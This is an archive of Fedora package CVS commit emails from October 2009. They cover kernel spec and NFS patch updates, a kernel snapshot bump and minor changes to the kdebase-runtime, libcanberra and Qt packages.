From roland at fedoraproject.org  Wed Oct 14 21:45:37 2009
From: roland at fedoraproject.org (roland)
Date: Wed, 14 Oct 2009 21:45:37 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1868,1.1869
Message-ID: <20091014214537.AC59711C00E5@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3494

Modified Files:
	kernel.spec 
Log Message:
* Wed Oct 14 2009 Roland McGrath <roland at redhat.com> 2.6.31.4-83
- Remove work-around for gcc bug #521991, now fixed.
- Build *docs non-parallel, working around kernel's makefile bugs.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1868
retrieving revision 1.1869
diff -u -p -r1.1868 -r1.1869
--- kernel.spec	14 Oct 2009 19:25:43 -0000	1.1868
+++ kernel.spec	14 Oct 2009 21:45:33 -0000	1.1869
@@ -1497,11 +1497,6 @@ BuildKernel() {
     # make sure EXTRAVERSION says what we want it to say
     perl -p -i -e "s/^EXTRAVERSION.*/EXTRAVERSION = %{?stablerev}-%{release}.%{_target_cpu}${Flavour:+.${Flavour}}/" Makefile
 
-    cat >> Makefile <<\EOF
-# XXX temp workaround for https://bugzilla.redhat.com/show_bug.cgi?id=521991
-KBUILD_CFLAGS += $(call cc-option,-fno-var-tracking-assignments)
-EOF
-
     # if pre-rc1 devel kernel, must fix up SUBLEVEL for our versioning scheme
     %if !0%{?rcrev}
     %if 0%{?gitrev}
@@ -1728,7 +1723,8 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 
 %if %{with_doc}
 # Make the HTML and man pages.
-make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
+# XXX nix %{?_smp_mflags} here, buggy Documentation/*/Makefile!
+make htmldocs mandocs || %{doc_build_fail}
 
 # sometimes non-world-readable files sneak into the kernel source tree
 chmod -R a=rX Documentation
@@ -2061,6 +2057,10 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 14 2009 Roland McGrath <roland at redhat.com> 2.6.31.4-83
+- Remove work-around for gcc bug #521991, now fixed.
+- Build *docs non-parallel, working around kernel's makefile bugs.
+
 * Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
 - Add scsi_register_device_handler to modules.block's symbol list so
   we'll have scsi device handlers in installer images.



From steved at fedoraproject.org  Wed Oct 14 22:28:17 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Wed, 14 Oct 2009 22:28:17 +0000 (UTC)
Subject: rpms/kernel/devel linux-2.6-nfs4-callback-hidden.patch, NONE,
	1.1 kernel.spec, 1.1827, 1.1828 linux-2.6-nfsd4-proots.patch, 1.3, 1.4
Message-ID: <20091014222817.5AE2911C00E5@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19084

Modified Files:
	kernel.spec linux-2.6-nfsd4-proots.patch 
Added Files:
	linux-2.6-nfs4-callback-hidden.patch 
Log Message:
- Updated the NFS v4 pseudo root patch so it will apply
- Fixed hang during NFS installs (bz 528537)


linux-2.6-nfs4-callback-hidden.patch:
 callback_xdr.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE linux-2.6-nfs4-callback-hidden.patch ---
Author: Steve Dickson <steved at redhat.com>
Date: Tue Oct 13 15:59:57 EDT 2009

To avoid hangs in the svc_unregister(), on version 4 mounts 
(and unmounts), when rpcbind is not running, make the nfs4 callback 
program an 'hidden' service by setting the 'vs_hidden' flag in the 
nfs4_callback_version structure. 

Signed-off-by: Steve Dickson <steved at redhat.com>

diff -up linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig linux-2.6.31.x86_64/fs/nfs/callback_xdr.c
--- linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.x86_64/fs/nfs/callback_xdr.c	2009-10-13 15:40:19.000000000 -0400
@@ -716,5 +716,6 @@ struct svc_version nfs4_callback_version
 	.vs_proc = nfs4_callback_procedures1,
 	.vs_xdrsize = NFS4_CALLBACK_XDRSIZE,
 	.vs_dispatch = NULL,
+	.vs_hidden = 1,
 };
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1827
retrieving revision 1.1828
diff -u -p -r1.1827 -r1.1828
--- kernel.spec	14 Oct 2009 19:22:18 -0000	1.1827
+++ kernel.spec	14 Oct 2009 22:28:15 -0000	1.1828
@@ -697,6 +697,7 @@ Patch2903: linux-2.6-revert-dvb-net-kabi
 
 # NFSv4
 Patch3050: linux-2.6-nfsd4-proots.patch
+Patch3051: linux-2.6-nfs4-callback-hidden.patch
 
 # VIA Nano / VX8xx updates
 Patch11010: via-hwmon-temp-sensor.patch
@@ -1175,7 +1176,8 @@ ApplyPatch linux-2.6-execshield.patch
 # eCryptfs
 
 # NFSv4
-#ApplyPatch linux-2.6-nfsd4-proots.patch
+ApplyPatch linux-2.6-nfsd4-proots.patch
+ApplyPatch linux-2.6-nfs4-callback-hidden.patch
 
 # USB
 ApplyPatch linux-2.6-driver-level-usb-autosuspend.diff
@@ -1969,6 +1971,10 @@ fi
 # ##############################################################
 
 %changelog
+* Wed Oct 14 2009 Steve Dickson <steved at redhat.com>
+- Updated the NFS v4 pseudo root patch so it will apply
+- Fixed hang during NFS installs (bz 528537)
+
 * Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
 - Add scsi_register_device_handler to modules.block's symbol list so
   we'll have scsi device handlers in installer images.

linux-2.6-nfsd4-proots.patch:
 fs/nfsd/export.c            |   12 +++++-
 fs/nfsd/nfs4xdr.c           |   83 ++++++++++++++++++++++++++++++++++++--------
 fs/nfsd/nfsfh.c             |   32 ++++++++++++++++
 fs/nfsd/vfs.c               |   68 ++++++++++++++++++++++++++++++++++--
 include/linux/nfsd/export.h |    3 +
 include/linux/nfsd/nfsd.h   |    2 +
 6 files changed, 181 insertions(+), 19 deletions(-)

Index: linux-2.6-nfsd4-proots.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/linux-2.6-nfsd4-proots.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- linux-2.6-nfsd4-proots.patch	9 Sep 2009 22:43:52 -0000	1.3
+++ linux-2.6-nfsd4-proots.patch	14 Oct 2009 22:28:15 -0000	1.4
@@ -1,7 +1,7 @@
-diff -up linux-2.6.30.noarch/fs/nfsd/export.c.save linux-2.6.30.noarch/fs/nfsd/export.c
---- linux-2.6.30.noarch/fs/nfsd/export.c.save	2009-09-09 15:11:54.702436000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/export.c	2009-09-09 15:12:44.520167000 -0400
-@@ -104,6 +104,7 @@ static int expkey_parse(struct cache_det
+diff -up linux-2.6.31.noarch/fs/nfsd/export.c.orig linux-2.6.31.noarch/fs/nfsd/export.c
+--- linux-2.6.31.noarch/fs/nfsd/export.c.orig	2009-10-14 14:26:23.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/export.c	2009-10-14 15:02:44.000000000 -0400
+@@ -109,6 +109,7 @@ static int expkey_parse(struct cache_det
  	if (mesg[mlen-1] != '\n')
  		return -EINVAL;
  	mesg[mlen-1] = 0;
@@ -9,7 +9,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  
  	buf = kmalloc(PAGE_SIZE, GFP_KERNEL);
  	err = -ENOMEM;
-@@ -181,6 +182,8 @@ static int expkey_parse(struct cache_det
+@@ -186,6 +187,8 @@ static int expkey_parse(struct cache_det
  	if (dom)
  		auth_domain_put(dom);
  	kfree(buf);
@@ -18,7 +18,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  	return err;
  }
  
-@@ -351,7 +354,10 @@ static void svc_export_request(struct ca
+@@ -356,7 +359,10 @@ static void svc_export_request(struct ca
  		(*bpp)[0] = '\n';
  		return;
  	}
@@ -29,7 +29,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  	(*bpp)[-1] = '\n';
  }
  
-@@ -500,6 +506,7 @@ static int svc_export_parse(struct cache
+@@ -510,6 +516,7 @@ static int svc_export_parse(struct cache
  	if (mesg[mlen-1] != '\n')
  		return -EINVAL;
  	mesg[mlen-1] = 0;
@@ -37,7 +37,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  
  	buf = kmalloc(PAGE_SIZE, GFP_KERNEL);
  	if (!buf)
-@@ -619,6 +626,8 @@ out1:
+@@ -629,6 +636,8 @@ out1:
  	auth_domain_put(dom);
  out:
  	kfree(buf);
@@ -46,7 +46,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  	return err;
  }
  
-@@ -1413,6 +1422,7 @@ static struct flags {
+@@ -1425,6 +1434,7 @@ static struct flags {
  	{ NFSEXP_CROSSMOUNT, {"crossmnt", ""}},
  	{ NFSEXP_NOSUBTREECHECK, {"no_subtree_check", ""}},
  	{ NFSEXP_NOAUTHNLM, {"insecure_locks", ""}},
@@ -54,7 +54,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  #ifdef MSNFS
  	{ NFSEXP_MSNFS, {"msnfs", ""}},
  #endif
-@@ -1493,7 +1503,7 @@ static int e_show(struct seq_file *m, vo
+@@ -1505,7 +1515,7 @@ static int e_show(struct seq_file *m, vo
  	struct svc_export *exp = container_of(cp, struct svc_export, h);
  
  	if (p == SEQ_START_TOKEN) {
@@ -63,10 +63,10 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  		seq_puts(m, "# Path Client(Flags) # IPs\n");
  		return 0;
  	}
-diff -up linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c.save linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c
---- linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c.save	2009-09-09 15:11:54.707433000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c	2009-09-09 15:12:36.408695000 -0400
-@@ -2176,28 +2176,61 @@ static inline int attributes_need_mount(
+diff -up linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c.orig linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c
+--- linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c.orig	2009-10-14 14:26:23.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c	2009-10-14 15:02:44.000000000 -0400
+@@ -2174,28 +2174,61 @@ static inline int attributes_need_mount(
  	return 0;
  }
  
@@ -140,7 +140,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	exp_get(exp);
  	/*
  	 * In the case of a mountpoint, the client may be asking for
-@@ -2258,6 +2291,7 @@ nfsd4_encode_dirent(void *ccdv, const ch
+@@ -2256,6 +2289,7 @@ nfsd4_encode_dirent(void *ccdv, const ch
  	struct readdir_cd *ccd = ccdv;
  	struct nfsd4_readdir *cd = container_of(ccd, struct nfsd4_readdir, common);
  	int buflen;
@@ -148,7 +148,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	__be32 *p = cd->buffer;
  	__be32 *cookiep;
  	__be32 nfserr = nfserr_toosmall;
-@@ -2268,19 +2302,40 @@ nfsd4_encode_dirent(void *ccdv, const ch
+@@ -2266,19 +2300,40 @@ nfsd4_encode_dirent(void *ccdv, const ch
  		return 0;
  	}
  
@@ -191,9 +191,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	switch (nfserr) {
  	case nfs_ok:
  		p += buflen;
-diff -up linux-2.6.30.noarch/fs/nfsd/nfsfh.c.save linux-2.6.30.noarch/fs/nfsd/nfsfh.c
---- linux-2.6.30.noarch/fs/nfsd/nfsfh.c.save	2009-09-09 15:11:54.711427000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/nfsfh.c	2009-09-09 15:12:48.357903000 -0400
+diff -up linux-2.6.31.noarch/fs/nfsd/nfsfh.c.orig linux-2.6.31.noarch/fs/nfsd/nfsfh.c
+--- linux-2.6.31.noarch/fs/nfsd/nfsfh.c.orig	2009-10-14 14:26:23.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/nfsfh.c	2009-10-14 15:02:44.000000000 -0400
 @@ -109,6 +109,30 @@ static __be32 nfsd_setuser_and_check_por
  	return nfserrno(nfsd_setuser(rqstp, exp));
  }
@@ -240,33 +240,10 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	}
  
  	error = nfsd_mode_check(rqstp, dentry->d_inode->i_mode, type);
-diff -up linux-2.6.30.noarch/fs/nfsd/vfs.c.save linux-2.6.30.noarch/fs/nfsd/vfs.c
---- linux-2.6.30.noarch/fs/nfsd/vfs.c.save	2009-09-09 15:11:54.715423000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/vfs.c	2009-09-09 15:12:39.978431000 -0400
-@@ -89,6 +89,12 @@ struct raparm_hbucket {
- #define RAPARM_HASH_MASK	(RAPARM_HASH_SIZE-1)
- static struct raparm_hbucket	raparm_hash[RAPARM_HASH_SIZE];
- 
-+static inline int
-+nfsd_v4client(struct svc_rqst *rq)
-+{
-+    return((rq->rq_prog == NFS_PROGRAM) && (rq->rq_vers == 4));
-+}
-+
- /* 
-  * Called from nfsd_lookup and encode_dirent. Check if we have crossed 
-  * a mount point.
-@@ -115,7 +121,8 @@ nfsd_cross_mnt(struct svc_rqst *rqstp, s
- 		path_put(&path);
- 		goto out;
- 	}
--	if ((exp->ex_flags & NFSEXP_CROSSMOUNT) || EX_NOHIDE(exp2)) {
-+	if (nfsd_v4client(rqstp) || 
-+		(exp->ex_flags & NFSEXP_CROSSMOUNT) || EX_NOHIDE(exp2)) {
- 		/* successfully crossed mount point */
- 		/*
- 		 * This is subtle: path.dentry is *not* on path.mnt
-@@ -134,6 +141,55 @@ out:
+diff -up linux-2.6.31.noarch/fs/nfsd/vfs.c.orig linux-2.6.31.noarch/fs/nfsd/vfs.c
+--- linux-2.6.31.noarch/fs/nfsd/vfs.c.orig	2009-10-14 14:26:23.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/vfs.c	2009-10-14 15:03:37.000000000 -0400
+@@ -141,6 +141,55 @@ out:
  	return err;
  }
  
@@ -322,7 +299,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  __be32
  nfsd_lookup_dentry(struct svc_rqst *rqstp, struct svc_fh *fhp,
  		   const char *name, unsigned int len,
-@@ -143,7 +199,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
+@@ -150,7 +199,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
  	struct dentry		*dparent;
  	struct dentry		*dentry;
  	__be32			err;
@@ -331,7 +308,7 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  
  	dprintk("nfsd: nfsd_lookup(fh %s, %.*s)\n", SVCFH_fmt(fhp), len,name);
  
-@@ -155,6 +211,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
+@@ -162,6 +211,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
  	dparent = fhp->fh_dentry;
  	exp  = fhp->fh_export;
  	exp_get(exp);
@@ -339,7 +316,16 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  
  	/* Lookup the name, but don't follow links */
  	if (isdotent(name, len)) {
-@@ -199,9 +256,21 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
+@@ -169,7 +219,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
+ 			dentry = dget(dparent);
+ 		else if (dparent != exp->ex_path.dentry)
+ 			dentry = dget_parent(dparent);
+-		else if (!EX_NOHIDE(exp))
++		else if (!EX_NOHIDE(exp) && !nfsd_v4client(rqstp))
+ 			dentry = dget(dparent); /* .. == . just like at / */
+ 		else {
+ 			/* checking mountpoint crossing is very different when stepping up */
+@@ -206,9 +256,21 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
  		if (IS_ERR(dentry))
  			goto out_nfserr;
  		/*
@@ -362,9 +348,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  			if ((host_err = nfsd_cross_mnt(rqstp, &dentry, &exp))) {
  				dput(dentry);
  				goto out_nfserr;
-diff -up linux-2.6.30.noarch/include/linux/nfsd/export.h.save linux-2.6.30.noarch/include/linux/nfsd/export.h
---- linux-2.6.30.noarch/include/linux/nfsd/export.h.save	2009-09-09 15:11:54.719419000 -0400
-+++ linux-2.6.30.noarch/include/linux/nfsd/export.h	2009-09-09 15:12:29.064157000 -0400
+diff -up linux-2.6.31.noarch/include/linux/nfsd/export.h.orig linux-2.6.31.noarch/include/linux/nfsd/export.h
+--- linux-2.6.31.noarch/include/linux/nfsd/export.h.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/include/linux/nfsd/export.h	2009-10-14 15:02:44.000000000 -0400
 @@ -39,7 +39,8 @@
  #define NFSEXP_FSID		0x2000
  #define	NFSEXP_CROSSMOUNT	0x4000
@@ -375,10 +361,10 @@ diff -up linux-2.6.30.noarch/include/lin
  
  /* The flags that may vary depending on security flavor: */
  #define NFSEXP_SECINFO_FLAGS	(NFSEXP_READONLY | NFSEXP_ROOTSQUASH \
-diff -up linux-2.6.30.noarch/include/linux/nfsd/nfsd.h.save linux-2.6.30.noarch/include/linux/nfsd/nfsd.h
---- linux-2.6.30.noarch/include/linux/nfsd/nfsd.h.save	2009-09-09 15:11:54.723415000 -0400
-+++ linux-2.6.30.noarch/include/linux/nfsd/nfsd.h	2009-09-09 15:12:33.025896000 -0400
-@@ -76,6 +76,8 @@ int		nfsd_racache_init(int);
+diff -up linux-2.6.31.noarch/include/linux/nfsd/nfsd.h.orig linux-2.6.31.noarch/include/linux/nfsd/nfsd.h
+--- linux-2.6.31.noarch/include/linux/nfsd/nfsd.h.orig	2009-10-14 14:26:23.000000000 -0400
++++ linux-2.6.31.noarch/include/linux/nfsd/nfsd.h	2009-10-14 15:02:44.000000000 -0400
+@@ -79,6 +79,8 @@ int		nfsd_racache_init(int);
  void		nfsd_racache_shutdown(void);
  int		nfsd_cross_mnt(struct svc_rqst *rqstp, struct dentry **dpp,
  		                struct svc_export **expp);



From cebbert at fedoraproject.org  Thu Oct 15 02:07:14 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu, 15 Oct 2009 02:07:14 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc4-git4.bz2.sign, NONE,
	1.1 .cvsignore, 
	1.1134, 1.1135 git-linus.diff, 1.18, 1.19 kernel.spec, 1.1828,
	1.1829 sources, 1.1093, 1.1094 upstream, 1.1006, 1.1007
Message-ID: <20091015020714.BB92211C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11295

Modified Files:
	.cvsignore git-linus.diff kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc4-git4.bz2.sign 
Log Message:
2.6.32-rc4-git4


--- NEW FILE patch-2.6.32-rc4-git4.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK1mg8yGugalF9Dw4RAr/oAJ9nzwpJCyZCJmkB2D4G/Bu0gCAEEwCcC1I+
elVEU0xhlz9hKH+ZcHuoHtg=
=BGDF
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1134
retrieving revision 1.1135
diff -u -p -r1.1134 -r1.1135
--- .cvsignore	11 Oct 2009 22:51:57 -0000	1.1134
+++ .cvsignore	15 Oct 2009 02:07:11 -0000	1.1135
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc4.bz2
+patch-2.6.32-rc4-git4.bz2

git-linus.diff:
 0 files changed

Index: git-linus.diff
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/git-linus.diff,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- git-linus.diff	12 Oct 2009 04:30:03 -0000	1.18
+++ git-linus.diff	15 Oct 2009 02:07:11 -0000	1.19
@@ -1,39 +1 @@
-# HG changeset patch
-# User Linus Torvalds <torvalds at linux-foundation.org>
-# Date 1255301877 25200
-# Node ID 7d6c25d3acd4ffe9cd339ae4032b80480837a5d8
-# Parent  606b8ffcf2f0fe29cd00e35bd04dbae63487951e
-Revert "USB: Work around BIOS bugs by quiescing USB controllers earlier"
-
-This reverts commit db8be50c4307dac2b37305fc59c8dc0f978d09ea, as per
-
-	http://bugzilla.kernel.org/show_bug.cgi?id=14374
-	http://marc.info/?l=linux-kernel&m=125446885705223&w=4
-
-We simply can't do the USB handoff at FIXUP_HEADER time, since it will
-often require us to have valid IO mappings etc.  But that in turn
-requires a whole different approach, not this trivial one-liner.
-
-Maybe we could teach all the USB quirk handoff handlers to only do the
-quirk if the device has all its registers set up (since if it isn't
-initialized, it's unlikely to be active), but regardless that will need
-a whole lot more code than just saying "let's do it really early".
-
-The proper fix is almost certainly to just leave the legacy IOMMU
-mappings active until after all devices have been initialized.
-
-Reported-by: Nick Piggin <npiggin at suse.de>
-Cc: David Woodhouse <David.Woodhouse at intel.com>
-Cc: Greg Kroah-Hartman <gregkh at suse.de>
-Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
-
-committer: Linus Torvalds <torvalds at linux-foundation.org>
-
---- a/drivers/usb/host/pci-quirks.c	Sun Oct 11 22:00:06 2009 +0000
-+++ b/drivers/usb/host/pci-quirks.c	Sun Oct 11 15:57:57 2009 -0700
-@@ -475,4 +475,4 @@
- 	else if (pdev->class == PCI_CLASS_SERIAL_USB_XHCI)
- 		quirk_usb_handoff_xhci(pdev);
- }
--DECLARE_PCI_FIXUP_HEADER(PCI_ANY_ID, PCI_ANY_ID, quirk_usb_early_handoff);
-+DECLARE_PCI_FIXUP_FINAL(PCI_ANY_ID, PCI_ANY_ID, quirk_usb_early_handoff);
+empty


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1828
retrieving revision 1.1829
diff -u -p -r1.1828 -r1.1829
--- kernel.spec	14 Oct 2009 22:28:15 -0000	1.1828
+++ kernel.spec	15 Oct 2009 02:07:12 -0000	1.1829
@@ -61,7 +61,7 @@ Summary: The Linux kernel
 # The rc snapshot level
 %define rcrev 4
 # The git snapshot level
-%define gitrev 0
+%define gitrev 4
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1971,6 +1971,9 @@ fi
 # ##############################################################
 
 %changelog
+* Wed Oct 14 2009 Chuck Ebbert <cebbert at redhat.com>
+- 2.6.32-rc4-git4
+
 * Wed Oct 14 2009 Steve Dickson <steved at redhat.com>
 - Updated the NFS v4 pseudo root patch so it will apply
 - Fixed hang during NFS installs (bz 528537)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1093
retrieving revision 1.1094
diff -u -p -r1.1093 -r1.1094
--- sources	11 Oct 2009 22:51:58 -0000	1.1093
+++ sources	15 Oct 2009 02:07:13 -0000	1.1094
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 c028f9c392515eea1c5945dc0dbeb0ef  patch-2.6.32-rc4.bz2
+b1e34b32787f62814e3f8861c3ded771  patch-2.6.32-rc4-git4.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1006
retrieving revision 1.1007
diff -u -p -r1.1006 -r1.1007
--- upstream	11 Oct 2009 22:51:58 -0000	1.1006
+++ upstream	15 Oct 2009 02:07:13 -0000	1.1007
@@ -1,2 +1,3 @@
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc4.bz2
+patch-2.6.32-rc4-git4.bz2



From rdieter at fedoraproject.org  Thu Oct 15 02:22:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 02:22:52 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.145,1.146
Message-ID: <20091015022252.371BE11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15284

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
- Conflicts: kdebase < 6:4.3.0



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- kdebase-runtime.spec	6 Oct 2009 19:46:23 -0000	1.145
+++ kdebase-runtime.spec	15 Oct 2009 02:22:51 -0000	1.146
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       2%{?dist}
+Release:       3%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -30,6 +30,11 @@ Patch5:        kdebase-runtime-4.3.1-man
 Conflicts: kdebase3 < 3.5.10-4
 %endif
 
+%if 0%{?fedora} < 12
+# kcm_filetypes moved to here
+Conflicts: kdebase < 6:4.3.0
+%endif
+
 Provides:  kdebase4-runtime = %{version}-%{release}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
@@ -214,6 +219,9 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
+- Conflicts: kdebase < 6:4.3.0
+
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
 - BR: bzip2-devel xz-devel
 - -libs: move Requires: kdepimlibs... here



From lennart at fedoraproject.org  Thu Oct 15 02:35:00 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 02:35:00 +0000 (UTC)
Subject: rpms/libcanberra/F-12 .cvsignore, 1.18, 1.19 libcanberra.spec, 1.38,
	1.39 sources, 1.20, 1.21
Message-ID: <20091015023501.0403B11C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17610

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	14 Oct 2009 19:25:44 -0000	1.18
+++ .cvsignore	15 Oct 2009 02:35:00 -0000	1.19
@@ -1 +1 @@
-libcanberra-0.19.tar.gz
+libcanberra-0.20.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/libcanberra.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- libcanberra.spec	14 Oct 2009 19:24:51 -0000	1.38
+++ libcanberra.spec	15 Oct 2009 02:35:00 -0000	1.39
@@ -1,5 +1,5 @@
 Name: libcanberra
-Version: 0.19
+Version: 0.20
 Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Thu Oct 15 2009 Lennart Poettering <lpoetter at redhat.com> 0.20-1
+- New version 0.20
+
 * Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.19-1
 - New version 0.19
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	14 Oct 2009 19:25:44 -0000	1.20
+++ sources	15 Oct 2009 02:35:00 -0000	1.21
@@ -1 +1 @@
-4c7a718b8314d87737e4f91c2a06e1fc  libcanberra-0.19.tar.gz
+2f603086a1c994e96143c18739bc4200  libcanberra-0.20.tar.gz



From rdieter at fedoraproject.org  Thu Oct 15 02:40:16 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 02:40:16 +0000 (UTC)
Subject: rpms/qt/devel kde-qt-patches.sh,1.2,1.3
Message-ID: <20091015024016.3127A11C02A2@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18646

Modified Files:
	kde-qt-patches.sh 
Log Message:
document how to switch branches



Index: kde-qt-patches.sh
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/kde-qt-patches.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kde-qt-patches.sh	14 Oct 2009 20:12:03 -0000	1.2
+++ kde-qt-patches.sh	15 Oct 2009 02:40:15 -0000	1.3
@@ -1,4 +1,5 @@
 # quick-n-dirty method to fetch patches from -patched git branch
 # unfortunately, requires an already checked-out copy of the git repo
 
+# when switching branches, use 'git fetch', 'git checkout'
 git format-patch --output-directory kde-qt-patches v4.6.0-beta..v4.6-stable-patched



From lennart at fedoraproject.org  Thu Oct 15 02:43:49 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Thu, 15 Oct 2009 02:43:49 +0000 (UTC)
